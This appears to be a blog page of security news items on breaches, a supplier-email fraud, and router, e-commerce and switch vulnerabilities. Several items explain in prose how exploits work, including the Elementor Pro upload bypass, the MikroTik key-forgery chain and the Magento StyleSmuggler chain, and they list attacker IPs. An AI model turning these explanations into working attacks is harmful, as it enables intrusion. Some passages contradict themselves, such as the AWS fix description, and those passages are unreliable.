Search This Blog

Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Vadodara Businessman Duped of Rs 19.75 Lakh in Fake Supplier Email Scam

 



A city-based businessman lost close to Rs 20 lakh after fraudsters hijacked his correspondence with a Dubai supplier and rerouted a payment meant for a shipment of doors and windows into their own account.

Indrajit Basu, 32, has told the Cyber Crime police station that the fraud unfolded over nearly two months, between May 25 and July 13 this year. Basu had placed an order for material with True Sea Services FZC, a Dubai-based company, after reaching out to the firm through its website and official email address. He sent an advance of $11,216.21 through SWIFT on March 10 to the company's genuine bank account, and the order moved ahead as planned.

The trouble started while the goods were still being readied. Police say an unidentified person created a near-identical email address, swapping the supplier's genuine inquiry@trusea.ae for inquiry@trusea-ae.com, a domain close enough to pass an unhurried glance. Messages sent from this lookalike address, still carrying the True Sea Services name, informed Basu that the company's bank details had changed. In their place was an account said to belong to First Abu Dhabi Bank PJSC, complete with an IBAN number and a listed branch address.

Basu had no reason to doubt the communication and processed the documentation for the balance payment accordingly. On June 9, he wired $20,830, roughly Rs 19.75 lakh at the time, to the new account. The money never reached the actual supplier, and repeated follow-ups brought no resolution, at which point Basu approached the police.

The Cyber Crime police registered a complaint on Thursday night under relevant sections of the Bharatiya Nyaya Sanhita and the Information Technology Act. The named accused include whoever operated the fraudulent email address, the person who holds and controls the bank account that received the transfer, and others believed to have taken part in the conspiracy. Investigators are working to trace the account holder and the digital trail left by the spoofed domain.

Basu's case falls squarely into the bracket Gujarat Police now treats as serious enough to route away from local stations. Under a restructuring the state carried out this year, complaints involving losses above Rs 10 lakh are handled exclusively by dedicated Cyber Crime Police Stations rather than the jurisdictional police, precisely because cases of this size tend to involve cross-border transfers and mule accounts that local units are not equipped to trace.

The scale of the problem in Gujarat gives that decision some context. State figures put cumulative cyber fraud losses at around Rs 3,707 crore, with roughly Rs 1,435 crore of that lost in 2025-26 alone, and only about 3 percent of the total has been recovered so far. Police have leaned on what they call the golden hour, the narrow window right after a fraudulent transfer in which a call to the national helpline, 1930, or a report on the National Cyber Crime Reporting Portal can still get an account frozen before the money is moved on. Gujarat Police's Operation Mule Hunt, which wrapped up its first phase in June, flagged more than 900 mule accounts and led to over 600 arrests, stressing how heavily this kind of fraud depends on layers of accounts opened specifically to receive and quickly disperse stolen funds.

The method used against Basu, a lookalike domain slipped into an active supplier conversation, is what cybersecurity researchers classify as vendor email compromise, a variant of the broader business email compromise problem that the FBI's Internet Crime Complaint Center logged at nearly 25,000 complaints and just over $3 billion in reported losses in the US alone in 2025, both figures higher than the year before. Security researchers who track these schemes note that attackers increasingly avoid tipping off a target with an urgent, out-of-context demand for money. Instead they wait inside a live, legitimate transaction, often after quietly monitoring an inbox for weeks, and strike only when a payment is already due, using a domain that differs from the original by a hyphen, an extra letter or a swapped top-level domain, easy to miss on a quick read. Investigators and bank officials advise businesses dealing with overseas suppliers to treat any mid-transaction change in payment or account details as a red flag, and to confirm such changes only through a phone number sourced independently of the email itself, rather than one supplied in the message.

HPE Patches Multiple ArubaOS-CX Vulnerabilities

 

Hewlett Packard Enterprise has released a security advisory for Aruba Networking ArubaOS-CX, warning customers about multiple vulnerabilities affecting the switch operating system. The advisory, published on September 1, 2026, says HPE has issued updates to address the issues and urges administrators to review their deployments promptly. 

According to the advisory and related vulnerability listings, the flaws span several categories. Some issues can expose sensitive information through API endpoints, while others may allow denial of service, stored cross-site scripting, arbitrary file write behavior, or path traversal under certain conditions. The breadth of the report suggests that both the management interface and backend API paths were part of the security review. 

The most serious concerns are likely to be those that could let an authenticated attacker influence device behavior or reach deeper system components. One vulnerability involves an API endpoint that could allow a low-privilege authenticated operator to change certain settings, while another points to stored XSS in the web-based management interface. Other disclosures describe file-writing and traversal weaknesses that may, in some cases, lead to remote code execution or broader system compromise. 

For enterprise users, the practical takeaway is simple: check which ArubaOS-CX version is deployed and compare it with the affected branches listed in public vulnerability records. Network administrators should prioritize patching, especially on systems used for core switching, segmentation, and centralized management. HPE’s release indicates that updates are available, making this a straightforward remediation case rather than a purely advisory-only notice. 

Organizations using ArubaOS-CX should treat the bulletin as a reminder to keep network infrastructure current. Security gaps in switching platforms can have wider consequences than a single device issue, especially when they involve administrative interfaces and API access. Applying the vendor update and validating exposure across affected versions are the most important next steps.

IDScan Sued Over Alleged Data Breach Affecting 153 Million Drivers

 

Identity verification company IDScan is being sued in multiple cases after hackers allegedly gained unauthorized access to the service and started selling more than 153 million driver’s licenses via dark web. Markovits, Stock & DeMarco and Hall Attorneys law firms are investigating the class-action claims against the company, which is based in Louisiana. 

Plaintiffs allege that IDScan failed to protect the information of its clients, including car rental company Hertz. Everything started on September 1 when Krebs revealed that a dark-web illegal identity-theft service called Nexus was selling more than 153 million scans of American and Canadian’s driver’s licenses, 10 million ID cards, 3 million travel documents, and 579,000 medical cards. 

He confirmed his sources by searching for his own data and the data of other people who gave their consent to do so. His research showed that all the resources were stolen from IDScan. IDScan sells scanners and specialized software for extracting personal data from official documents. Its technology is used in numerous car rental companies, retail stores, gun shops, banks, pot shops, and hotels across the United States. 

The company has not responded to media inquiries about the data breach, leaving the situation unclear. For now, it is unknown how exactly the breach occurred and how many people were affected. According to Krebs, the Federal Bureau of Investigation (FBI) in New Orleans is investigating the issue, confirming the story, Reuters noted. The FBI spokesperson told Bleepingcomputer that the bureau is looking into the reports but declined further comments due to the sensitivity of the case. The illegal website Nexus that was distributing people’s personal data is closed now. 

However, criminals who stole the information from IDScan still have access to the database. According to Krebs, the compromised data includes the documents of the Secretary of Defense Pete Hegseth and an assistant director of the FBI, which could not be confirmed. Markovits, Stock & DeMarco law firm revealed that IDScan started informing some of its business customers around September 1. The company’s representatives stated that if someone’s ID was scanned in their system, they would contact them to discuss the situation and represent their interests in court. 

In addition, the firm is looking for other organizations to file a class-action lawsuit against the company. Because of the potential number of affected people, other class-action lawsuits may arise, which will have to be consolidated in multidistrict litigation. In addition, other states’ attorneys general and federal regulators may also launch separate investigations into this data security breach. Similar situations with 23andMe, Marriott, and Equifax data compromises happened before and ended in multi-state inquiries or even criminal charges.

MikroTik Routers Targeted Through Internet-Exposed SSH Access

The Secure Shell (SSH) remote-access service of MikroTik routers is actively being used by attackers to access internet-exposed MikroTik routers, exploiting vulnerabilities that can grant complete administrative control without requiring authentication. A CERT Polska advisory published on September 5, stating that successful exploitation has been observed since at least September 2. The advisory also noted successful exploitation of the ongoing attacks. 

In the advisory, the attackers were not identified or an estimate of how many devices had been compromised was not provided. In addition to warning of active exploitation, Costin Raiu also reported that MikroTik routers with SSH exposed may already be compromised. Known as MikroTrick, this attack chain is comprised of two vulnerabilities found in MikroTik RouterOS. 

A CVSS rating of 9.2 has been assigned to CVE-2026-67276, an SSH authentication bypass vulnerability. A second vulnerability, CVE-2026-86060, allows privilege escalation within an SSH session. When combined, these flaws allow an attacker with no credentials to gain complete control of RouterOS devices that are affected by these flaws. RSA public key validation is the cause of CVE-2026-67276. 

Using a legitimate username and public key, an attacker can construct a fake key that is accepted without possessing the associated private key. Once access has been gained, a privilege-escalation flaw can be used to elevate the session to administrative level control. The CERT Polska website stated that six RouterOS vulnerabilities have been identified and coordinated for disclosure, with two of these vulnerabilities involving MikroTrick. 

Organizational members have observed the attack on RouterOS devices accessible directly from the Internet. MikroTik has released fixed RouterOS versions that address these vulnerabilities. CERT Polska recommends installing the appropriate security updates immediately, and reviewing router configurations for unauthorized modifications following that. 

 As stated in the vendor's documentation, home devices' default firewall rules normally prevent external access to management services as long as those rules are not altered. Evidence of exploitation emerged before the security fixes were widely announced. The successful attacks, including the creation of highly privileged accounts known as "ops," are believed to have begun at least at the beginning of September, CERT Polska stated. 

A security researcher, Costin Raiu, noted that MikroTik released fixes on September 3, posing questions regarding whether attackers were aware of the patches before they were made public. The timeline does not conclusively establish the flaws as zero-days. In the case of the attacks, the IP address associated with Leaseweb 82.192.72.4 has been primarily linked. There was also an observation of a second address, 103.102.31.18, exploiting MikroTrick. The confirmed successful attacks originating from this address, according to CERT Polska. 

A number of traces have been left in RouterOS logs. Failed exploitation attempts appear under the username “-2”, while successful activity may appear as a configuration change and SSH session. It has been confirmed that the creation of the “ops” account is related to the observed attacks. Any changes involving users, SSH keys, scripts, scheduled tasks, firewall rules, proxy servers, or tunnels should be investigated immediately. It remains difficult to determine the extent of the exposure. 

Approximately 122,500 MikroTik devices exposed to the Internet over SSH were reported by ShadowServer Foundation on September 5, however this number does not reflect how many devices are vulnerable to specific MikroTik vulnerabilities. MikroTik has not disclosed the number of compromised or exploitable routers. The new RouterOS versions include a Flagged mechanism which detects signs of unauthorized configuration changes during startup of the operating system. 

The system can be configured to disable suspicious entries and record a critical warning, but according to CERT Polska, the detection mechanism only detects known traces, so a router without a Flagged warning cannot be regarded as automatically clean. 

Administrators unable to patch immediately should disable externally accessible SSH, WWW/WWW-SSL, and bandwidth test services or restrict access to trusted management networks. Additionally, CERT Polska recommends that unpatched devices do not make outbound TLS connections or use the built-in RouterOS SSH clients, particularly across untrusted networks. These measures are intended only to reduce exposure until the security update can be installed. 

When a router shows signs of compromise, CERT Polska suggests isolating it and conserving its logs and configuration before performing a reset. When the router has been restored to factory settings, it should be rebuilt using a trusted configuration, while passwords, SSH keys, and other credentials should be rotated. 

Restoring a potentially compromised backup without verifying it should never be done. It is important to note that the six vulnerabilities identified by CERT Polska extend beyond the SSH flaws, affecting areas such as bandwidth testing, certificate handling, and WebFig functionality. Among the high severity bandwidth-test flaws identified by the agency are CVE-2026-67277, which can expose kernel memory or cause a remote system crash. 

The active exploitation highlights the risks of exposing router management services to the internet. RouterOS security updates should be applied by administrators, configurations should be reviewed for unauthorized changes, and affected devices should be examined for signs of compromise.

StyleSmuggler Flaw Allows Attackers to Exploit Zero Day With Remote Code Execution


Threat actors are exploiting a newly found zero-day flaw in Magento Open Source and Adobe Commerce to install persistent backdoors and compromise online stores.

Dutch e-commerce security firm Sansec found the vulnerability, called “StyleSmuggler,” which lets threat actors run malicious code on compromised servers without needing verification. According to Sansec, it found active attacks starting on September 4,2026 and posted the information after discovering that online stores were already being targeted.

About the vulnerability

StyeSmuggler is a severe remote code execution (RCE) vulnerability impacting present Magento variants. According to Sansec, the flaw successfully reproduced the attack on Magento Open Source variants 2.4.7, 2.4.8 and 2.4.9. This includes the latest 2.4.9 release.

What can impacted merchants do?

For people who are not using Sansec Shield, they can temporarily stop Graphql until Adobe has issued an official patch. “The next Adobe security release is scheduled for Sept 8th, but it is yet unknown if that covers this bug,” Sansec said.

The flaw is notedly troubling as threat actors don’t require any password, admin account, or a username to exploit it. A successful compromise could give attackers the power to run code directly on the server hosting an online store.

Malicious code is injected into Magento's template system by StyleSmuggler. It can get around present safety precautions by utilizing the styles features. It operates in two phases:

  • Create a failure report, for instance, to inject (poison) PHP code.
  • Allow Magento to use a failed payment email to execute the poisoned code.

Threat actors exploit GraphQL and Magento’s template functionality to install malicious code, The attack can then prompt the installed code via Magento’s internal processes, in the end letting them download and run malware on the infected server. 

Stores targeted even after security updates

The attack is not limited to stores running old software, which is a troubling finding.

“The first victim ran 2.4.6-p15 with the July and August 2026 patches applied and security:patch-status clean,” Sansec said. In other words, even having the latest available security updates for the released could not stop the exploit of the new zero-day.

Another group, Disrex found the exploit, a Magento hosting and development company. “One of the Magento servers managed by Disrex was compromised only 50 minutes after the first confirmed StyleSmuggler attack worldwide,” it said.

What’s next?

No official patch has been released at the time of writing this article. 

Origin Energy Data Breach Traced to Manila Call Centre, Ex-Accenture Employee Identified

 

An ex Accenture worker from Manila is suspected to be behind last month's security breach. Accenture has an office in the city, which supports the energy business in Origin with its customer call centres. It was alleged by a Nine report that the worker attempted to extort the energy provider for money, for its return of the stolen information. 

When approached by ABC News, an Accenture representative said it would be inappropriate to comment on Origin's data security incident. It stated that it is under active investigation. Origin Energy also refused to comment, citing that the breach is the subject of an ongoing criminal investigation. It was revealed the extent of the incident was apparent when, last month, an The Australian reported a hacker had supplied a sample of 50 customer records including names, addresses, emails, dates of birth, phone numbers and billing histories.

Origin Energy reported it to the authorities a potential data breach. The company later told the Business it believed the information of up to 900,000 current and former customers had been accessed. Origin customers told the ABC they felt their personal data could have been breached and expressed frustration with not being given enough detail on the nature of the incident. 

It is the latest in a series of major cybersecurity incidents affecting Australian companies. Qantas suffered a significant hack in 2025, while Optus and Medibank both experienced mass data breaches in 2022. Origin confirmed it became aware of a potential security threat in early July, but did not initially take it seriously. It has advised affected customers to be on guard against scams and said specialist identity and cyber support services are available. 

Origin chief executive Frank Calabria addressed the incident in July, saying the company had completed the first of its review into the customer data security breach. It apologised to customers for placing trust in Origin to safeguard its information. The Australian Federal Police (AFP) confirmed it is working closely with Origin Energy and relevant partners after the reported cyber incident.

An AFP spokesperson said the focus of investigators is on gathering evidence, identifying those responsible and disrupting any associated criminal activity. It added Origin Energy has been cooperative and transparent in its engagement with investigators, and continues to assist the ongoing investigation. No information has yet been released about possible charges against the former Accenture employee identified by the investigation.

A New Magento Zero-Day Is Breaking Into Online Stores Right Now

 


Online stores running Magento Open Source and Adobe Commerce are being broken into through a security flaw that has no patch, no CVE number and, as of Saturday, no acknowledgment from Adobe. The company that found it says it went public before finishing its own investigation because merchants were already getting hit while it worked.

Dutch e-commerce security firm Sansec disclosed the vulnerability on September 5 and named it StyleSmuggler, saying it was releasing details early "because stores are being compromised right now." Sansec traces the first attacks to September 4, a day before it went public.

The flaw lets an attacker run code on a store's server with no login at all. Sansec says it reproduced the entire chain on clean installs of Magento Open Source 2.4.7, 2.4.8 and 2.4.9, and that every currently supported version is exposed. The first store it observed getting hit was running 2.4.6-p15, fully caught up on Adobe's July and August updates, the highest patch level Adobe offers that release line. Being current did not save it.

Adobe has said nothing so far. Its Commerce security bulletin index still shows August 11 as the latest entry, with no advisory, CVE or workaround. Its next scheduled security release lands September 8, though whether that covers this bug is unknown. Sansec has not tested the exploit against Adobe Commerce or Adobe Commerce on Cloud specifically, so those platforms remain unconfirmed rather than cleared.


Independent confirmation

Magento hosting firm Disrex Group backed up the account within a day, saying it handled two customers that were actually breached and a third that was targeted but held. One breached store was running a patch level Adobe issued back in August 2024, eight versions behind current, and was hit hours before Sansec's first blocking rules went live. Disrex posted its findings and cleanup tools to GitHub the same day, along with an unusually blunt disclaimer: the material was assembled with AI help during a live incident in a few hours, has not been peer reviewed, and some of its own commands were never actually tested against a running server.


How it works

Sansec says the attack abuses "styles properties" inside Magento's template engine to dodge normal safeguards, in two stages. First, it plants PHP code somewhere Magento itself writes, such as a failure log. Second, it triggers Magento's standard "Payment Transaction Failed Reminder" email, and the planted code runs the moment Magento builds that message internally. Nobody has to open the email, and the attack still works even if delivery fails.

Disrex's own analysis, published separately, suggests a crafted directive pushes Magento's internal classes into running code meant only for its command-line compiler tool, which then loads the very file poisoned in stage one. A dropper cycles through six system functions until one launches a process, then fetches the final backdoor. Neither Sansec nor Adobe has confirmed that specific mechanism.

Once installed, the backdoor disguises itself as a kernel process named [kworker/u:8:0] and hides its binary in the site user's home directory rather than the web root, with a cron job rewriting itself every five minutes in a way that dodges typical crontab logging. On one victim it read session data straight out of the store's own Redis database rather than contacting outside infrastructure; on another it reached command-and-control servers matching Sansec's published indicators.


No fix yet

With Adobe silent, defenses are all third-party stopgaps. Sansec recommends disabling GraphQL entirely unless a store runs its Shield product, though that breaks headless and progressive-web-app storefronts. Disrex, a developer known as ProxiBlue, and a firm called Graycore have each released community patches or firewall rules targeting different points in the chain, but all three call their own work partial hardening, not a real fix. Disrex also found attackers could dodge its firewall rule simply by moving parameters into a POST body.

Two settings that don't depend on understanding the exploit at all: disabling the PHP function proc_open, which one dropper used after other functions were already blocked, and mounting temporary directories with the noexec flag so a downloaded binary cannot run. For stores already compromised, guidance calls for preserving evidence first, killing the process before removing its cron job, never rebooting since the only surviving copy of the binary may live only in memory, and rotating every credential in the store's environment file rather than trusting a scan alone. One security firm's own detection scanner reportedly missed the backdoor entirely on a store where it was actively running.

Two hosting providers said this week they were reviewing their environments as a precaution, though neither has confirmed a breach. No group has been tied to the campaign, and the number of affected stores overall is still unknown.

Baylor Genetics Confirms Cyberattack Exposed Patient Data

 

Baylor Genetics has disclosed a cybersecurity incident that may have exposed personal information belonging to some patients and employees, but the company says laboratory operations were not interrupted and genetic testing services continued as normal. The incident was detected around June 15, 2026, after suspicious activity appeared in a limited part of its IT environment. 

According to the notice, an unauthorized third party accessed certain parts of Baylor Genetics’ network between June 11 and June 17, 2026. The company then launched a forensic investigation with outside cybersecurity specialists and spent weeks reviewing what data may have been involved and which people were potentially affected. That review was completed on or about July 30, 2026, after which written notices were sent to affected individuals when address information was available. 

The data at issue varied by person, but for patients it may have included names, dates of birth, medical testing information, laboratory test results, and possibly health insurance details. In a very limited number of cases, a Social Security number may also have been involved. For current or former employees, the exposed information may have included Social Security numbers, government-issued identification numbers, and financial account information. 

Baylor Genetics says it immediately secured affected systems, strengthened identity and access controls, enhanced monitoring, and coordinated with law enforcement and appropriate regulators. The company also said it has not found evidence of confirmed identity theft, fraud, or misuse tied to the incident so far. It added that test results remain accurate and that no testing data or results were altered, so no retesting is necessary. 

The notice urges people to watch financial account statements, Explanation of Benefits statements, and credit reports for unusual activity. It also points readers to identitytheft.gov, the Federal Trade Commission, and state attorneys general for help with fraud alerts, credit freezes, and identity-theft complaints. Baylor Genetics has set up a dedicated assistance line at 1-866-200-0985, available Monday through Friday from 9 a.m. to 9 p.m. ET.

Trezor Data Breach Rises to 67,000 US Customers


Hardware cryptocurrency wallet organization Trezor has disclosed that additional 67,000 customers in the US have been impacted by a data breach consisting of its shipping provider, ShipMonk. 

The recent news has notably increased the number of consumers potentially exposed in the incident.  “We're deeply saddened to share the news that the recent data breach affects more customers than originally thought,” Trezor said on X. 

As per Trezor, the additional 67000 customers placed orders from November 2019 to August 2021. 

What is leaked?

The leaked data consists of customers' email, phone numbers, names, addresses, order numbers, and shipping addresses. According to Trezor, the data was stored by ShipMonk even though Trezor had earlier received assurance that previous consumer data had been erased. 

“Throughout our entire relationship with ShipMonk, we repeatedly requested and received written assurance confirming the deletion of the data, in line with our contract, data policy, and past communications. We are very disappointed that, despite receiving this confirmation, the data was not deleted in their systems,” Trezor said.

According to experts, the breach is not impacting Trezor’s own systems. 

Who are impacted?

Trezor said its hardware wallets are safe and there are no signs that customers’ recovery seed phrases or private keys were breached in the leak. 

As per Trezor, “All affected customers have been emailed directly. If you didn’t receive an email, then you are not affected.”

Potential impact

But Trezor and cybersecurity experts are worried that the stolen data could be exploited for social engineering and targeted phishing attacks. Threat actors could misuse customers’ details regarding their Trezor purchases to create scam phone calls or fraud messages.

This can be a serious problem for cryptocurrency users. A threat actor could mimic a company employee if they know someone owns a Trezor wallet and ask the target to verify their wallet or account. 

User advisory

If successful, the attacker could steal the target’s recovery seed phrase, which can allow access to cryptocurrency funds. “Trezor systems were not compromised, and your device is secure. But please be alert for fake emails, phone calls, fraudulent letters, and potential risks to physical security,” the company added. 

The announcement comes after the August incident when 13,689 customers had been impacted by the same shipping-provider. At the time, Trezor estimated around 14,000 customers to have been affected by the breach. The recent disclosure of 67,000 suggests the scope of the incident was larger than expected.

Malicious Ted Backdoor Conceals Itself Inside HAProxy Builds for Traffic Monitoring


Two South Korean organizations have been identified as being infected with a previously undocumented Linux backdoor embedded directly within custom versions of HAProxy load balancers. Based on debug strings found in the binary, Ted was able to intercept web traffic and deliver modified content to selected users. 

The activity was attributed with medium confidence to North Korean state-sponsored threat actors by Rapid7 Labs. Affected organizations are members of South Korea’s automotive and media industries. As a result, Ted implant appears to have been designed to maintain access to compromised systems while remaining difficult to detect by routine monitoring. 

The Ted implant did not result from a vulnerability in HAProxy. An attacker must obtain code execution on the affected host in order to deploy the backdoor, which requires replacing the legitimate HAProxy binary with a modified version. As observed, the backdoor is bundled with HAProxy 2.8.12, enabling the malicious code to operate alongside the load balancer's legitimate functions. 

As opposed to running as a separate suspicious process, Ted utilizes HAProxy’s filter API, memory pools, event scheduler and process management components. It is possible for the implant to observe HTTP traffic while the server is performing normal load-balancing activities. It is possible to monitor high-value web requests, capture session cookies, and identify certain clients for traffic manipulation using the backdoor. Additionally, malicious scripts may be injected into pages delivered to targeted visitors. 

The integration of this activity with an existing network component makes it difficult to identify the activity by conventional process or file-based monitoring mechanisms. Additionally, Ted is equipped with a concealed command-and-control feature. By sending a request to the filter targeting specific image paths, the filter will be switched to C2 mode. This implant manages the command traffic within HAProxy rather than forwarded to a backend server, while removing the connection from HAProxy's live connection counter.

After writing the command data to /tmp, the request channel is cleared. A load balancer terminates the connection, preventing the backend server from receiving a corresponding request. Therefore, neither backend logs nor HAProxy's normal connection statistics are able to provide a detailed account of C2 activity. 

Rapid7 emphasized that additional evidence must be provided before definitively attribution can be made to North Korean operators. This assessment is supported by the targeting of South Korean organisations, combined with the infrastructure and malware characteristics associated with activities linked to the DPRK. 

In addition to the HAProxy implant, Rapid7 identified a more comprehensive toolkit. During the same operation, modified versions of crond, sshd, Agetty, Atd, and Pollkitd were also utilized, giving operators a number of ways to maintain access and collect data from compromised systems. Upon discovering the stager, it was discovered that the additional components were only deployed on systems that already contained HAProxy or cron. 

The malicious replacement for crond was also crafted to closely replicate the legitimate system binary, including adopting a matching creation timestamp, prior to proceeding. The shell history was also modified to remove references to commands and files involved in the intrusion, as well as several system logs were modified to minimize evidence of the intrusion. SSHd was trojanized to serve a direct credential theft function.

It captured plaintext passwords before encrypting and storing them at a fixed location on the compromised host. Rapid7 tracked curlRAT as another component that provided operators with remote access and communication. It normally contacts its control infrastructure every 12 hours, but may switch to a 30-second interval if instructed to do so. Prior to being executed, the malware also checked for a marker indicating that the system was virtualized. 

Attribution Points to North Korean Activity

In Rapid7's assessment, North Korean state-sponsored actors were identified as being responsible for the campaign. It is consistent with an espionage-focused operation that South Korean automotive and media companies were targeted, even though available evidence does not specify how the victims were initially compromised. 

APT37-associated threat intelligence records contain some infrastructure linked to the toolkit. However, Rapid7 cautions that the evidence spans several North Korean threat clusters, making attribution more difficult because the broader delivery approach is similar to previous campaigns targeting South Korean organizations.

SyncHole, which was an earlier campaign that selectively redirected visitors to South Korean websites, also has similarities to the research. In campaigns designed to target specific users without disrupting normal website activity, traffic filtering and selective content delivery remain effective techniques. 

HAProxy Builds Create a Difficult Detection Problem

There was an infection in both affected organizations with HAProxy 2.8.12, released in November 2024. The implant is based on internal structures related to that specific release, suggesting that the malicious code has been constructed around existing software environments in both organisations.

In addition to updating HAProxy, the threat resides within a replaced binary, rather than exploiting a HAProxy flaw, and would not be removed by updating alone. The case also emphasizes the difficulty of identifying malicious code embedded in trusted infrastructure when it is complemented by network correlation and memory-based behavioral analysis. 

In addition to continuing to handle legitimate traffic normally, a compromised load balancer provides attackers with a concealed position through which they can inspect traffic, collect credentials, and execute commands.

Critical Nexus 9000 Flaw Could Permit Threat Actors to Gain Root Access


Cisco has issued security patches to fix a critical vulnerability impacting 10 Silicon One-based Nexus 9000 switches that could permit an unauthorized, remote threat actor to execute code with root privileges.

About the flaw

This flaw arises because the default Layer 3 (L3) virtual routing and forwarding (VRF) allows access to TCP ports 43210 and 43211. If the exploit is effective, the attacker may be able to connect to the compromised device and submit manipulated input that could be run as root-level code. Additionally, if this vulnerability is exploited, the S1HAL process may crash and the device may need to reload.

Who is impacted?

The Nexus vulnerability, tracked as CVE-2026-20212, with a CVSS score of 9.8, was reported on September 2 by Cisco. The vulnerability impacts a few Nexus 9000 switches consisting of Silicon One ASICs, which can result in either device outages or remote code execution.

According to Cisco,  Nexus 9000 Series Switches with the following product identifiers (PIDs) included a Silicon One ASIC, are vulnerable:

  • N9324C-SE1U
  • N9348Y2C6D-SE1U
  • N9364E-SG2-O
  • N9364E-SG2-Q
  • N9396T12C-SE1
  • N9348Y12C-SE1
  • N9396Y12C-SE1
  • N9336C-SE1
  • N9K-C9804
  • N9K-C9808

If effectively abused, the threat actor could run code with root-level privileges on the switch, This can allow attackers to modify the device, compromise traffic travelling via the infrastructure, and disturb the network operations.

According to Cisco, Nexus 9000 switches working in ACI mode and other Cisco and Nexus product families are not impacted. Admins can use the show module command to find the product ID of a Nexus switch and decide if it is in the impacted range.

The following products are not vulnerable, according to Cisco advisory:

  • Firepower 1000 Series
  • Firepower 2100 Series
  • Firepower 4100 Series
  • Firepower 9300 Security Appliances
  • MDS 9000 Series Multilayer Switches
  • Nexus 3000 Series Switches
  • Nexus 7000 Series Switches
  • Nexus 9000 Series Switches other than the models listed in the Vulnerable Products section
  • Nexus 9000 Series Fabric Switches in ACI mode
  • Secure Firewall 200 Series
  • Secure Firewall 1200 Series
  • Secure Firewall 3100 Series
  • Secure Firewall 4200 Series
  • Secure Firewall 6100 Series
  • UCS 6300 Series Fabric Interconnects
  • UCS 6400 Series Fabric Interconnects
  • UCS 6500 Series Fabric Interconnects
  • UCS 6600 Series Fabric Interconnects
  • UCS X-Series Direct Fabric Interconnect 9108 100G

Cisco has launched software updates to patch the flaw. It has also advised customers to upgrade to a fixed NX-OS release. Cisco has also launched a Live Protect Shield as a temporary fix for impacted executions, but urges that it is only temporary until a complete software upgrade is available.

Elementor Pro WordPress Flaw Exploited to Upload Webshells and Execute Commands

 

A critical vulnerability in the Elementor Pro WordPress plugin is being actively exploited to upload malicious PHP files and execute commands remotely on the affected websites. 

The vulnerability, tracked as CVE-2026-32475, affects the Elementor Pro versions 4.2.1 and lower. This issue was patched on August 19. Elementor Pro has more than 6 million active installations and is widely used to design WordPress websites with drag-and-drop tools. 

The vulnerability is related to the insufficient validation of file-upload arrays in Elementor Pro forms. Attackers can exploit this issue by uploading an empty file as the first element of the upload array and a malicious PHP file as the second. Then the plugin will not validate the following files in the array, thus allowing the attacker-controlled PHP payload to be successfully uploaded on the server without any additional checks. 

Once the malicious file is uploaded, it will be stored on the /wp-content/uploads/elementor/forms/ directory with a randomly generated name but preserving the attacker’s .php extension. Then the attacker will be able to directly access this file on the server to execute arbitrary commands and potentially deploy a webshell for further attacks. To successfully exploit the vulnerability, an attacker needs to have access to a WordPress website with a published Elementor Pro Form widget that contains at least one File Upload field. 

This is a relatively common case for WordPress websites that utilize Elementor Pro forms. WordPress security company Defiant, which operates the Wordfence firewall, noted that exploitation began on August 19, the same day Elementor released the 4.2.2 version to address the vulnerability. Wordfence observed that the traffic was especially heavy between August 19 and 23, having blocked more than 190,000 attempts to target its customers. 

Wordfence has identified IP addresses that were responsible for thousands of exploitation attempts. Website administrators can add these addresses to their blocklists to protect their WordPress sites. Administrators that utilize Elementor Pro need to make sure to update their software to the latest versions, preferably 4.2.2 or newer. Moreover, they should check their /wp-content/uploads/elementor/forms/ directories for any unexpected .php files. 

As the name suggests, the directory is supposed to contain the files that users upload with Elementor forms, meaning that the discovery of any .php files should be investigated and potentially result in an intrusion assessment.

AWS CodeCatalyst Blueprints SDK Hit by High-Severity Command Injection Flaw


There is a high-severity attack on Amazon CodeCatalyst blueprints that exploits an open-source framework for building them. This vulnerability has been reported by Amazon Web Services. This flaw affects the @amazon-codecatalyst/blueprints.blueprint npm package and can lead to the execution of arbitrary commands in environments operating blueprint resynthesis. 

The Amazon CodeCatalyst blueprints serve as template documents for creating software development projects that can be reused. npm package that is affected provides the framework that blueprint authors use to construct these templates and is part of the open-source project AWS CodeCatalyst Blueprints. 

During blueprint resynthesis, a vulnerability occurs in the process of determining which files an existing project may modify based on its .ownership-file, which is used to determine whether blueprints can modify them. Versions 0.3.155 and earlier handled the owner field of an entry containing a [local] merge strategy without adequate validation, which left it vulnerable to shell command interpretation. 

A repository user with access to commit permissions could potentially use shell metacharacters to alter the affected field. In the context of resynthesis, those characters could be interpreted as commands by the operating system, allowing arbitrary commands to be executed in the resynthesis environment. The executed commands could consequently expose all privileges or credentials available in that environment. 

Amazon has rated CVE-2026-85012 as 8.5 on the CVSS 4.0 scale, indicating that it is a high-severity vulnerability. Under CWE-78, which describes improper neutralization of special elements in operating system commands, this vulnerability has been classified as high severity. Amazon CodeCatalyst service deployments that utilize vulnerable versions of the blueprint framework are affected by this issue as opposed to the CodeCatalyst service itself. 

As stated by Amazon, CodeCatalyst's resynthesis process operates in a separate environment with unique credentials for each project. Additionally, the service performs server-side validation to block merge strategy commands unless they conform to a restricted allowlist, including older blueprint versions. 

AWS Releases Fix for CVE-2026-85012

It has been reported that Amazon has corrected this vulnerability in version 0.3.156 of @amazon-codecatalyst/blueprints.blueprint, which reverts to shell-based command interpretation and executes the relevant command directly in place of shell-based command interpretation. In addition, the patched release restricts accepted values to an allowlisted command format, closing the injection path identified in CVE-2026-85012. 

Shell metacharacters are prevented from being interpreted during blueprint resynthesis as additional commands, closing the injection path identified in CVE-2026-85012. There are versions of the package 0.3.155 and earlier that are affected, so Amazon recommends upgrading to version 0.3.156, with forked and derivative implementations also requiring the appropriate security updates. There is no need for Amazon CodeCatalyst customers to respond to this vulnerability on the service-side. 

Resynthesis jobs within the service are conducted in isolated environments assigned to specific projects, using scoped credentials. Server-side checks are also applied by AWS to reject [local] merge strategy commands that do not conform to the approved format. In addition, these protections apply when blueprints are published using versions of the framework prior to version 0.3.156. 

The primary remediation concern is those projects or development environments that directly utilize the affected open-source framework following the implementation of the package-level fix. This updates the dependency, therefore removing the vulnerable shell execution behavior, and resolving the underlying issue of command injection described in CWE-78.

By removing shell interpretation and enforcing an allowlisted command format, version 0.3.156 resolves the underlying command injection issue. Users who are currently using version 0.3.156 should take the necessary steps to update their SDK.

Dropbox Says 5,000 Accounts Compromised After Flaw in Lenovo Login System

 


Dropbox has confirmed that hackers broke into roughly 5,000 user accounts last month by exploiting a weakness in how Lenovo verifies email addresses, allowing intruders to log into victims' cloud storage without ever knowing their passwords.

The cloud storage company began notifying affected users this week, telling them that an "unauthorized party" had accessed their accounts between August 4 and August 21. In some cases, the notification said, the attacker viewed or downloaded files stored in the account.

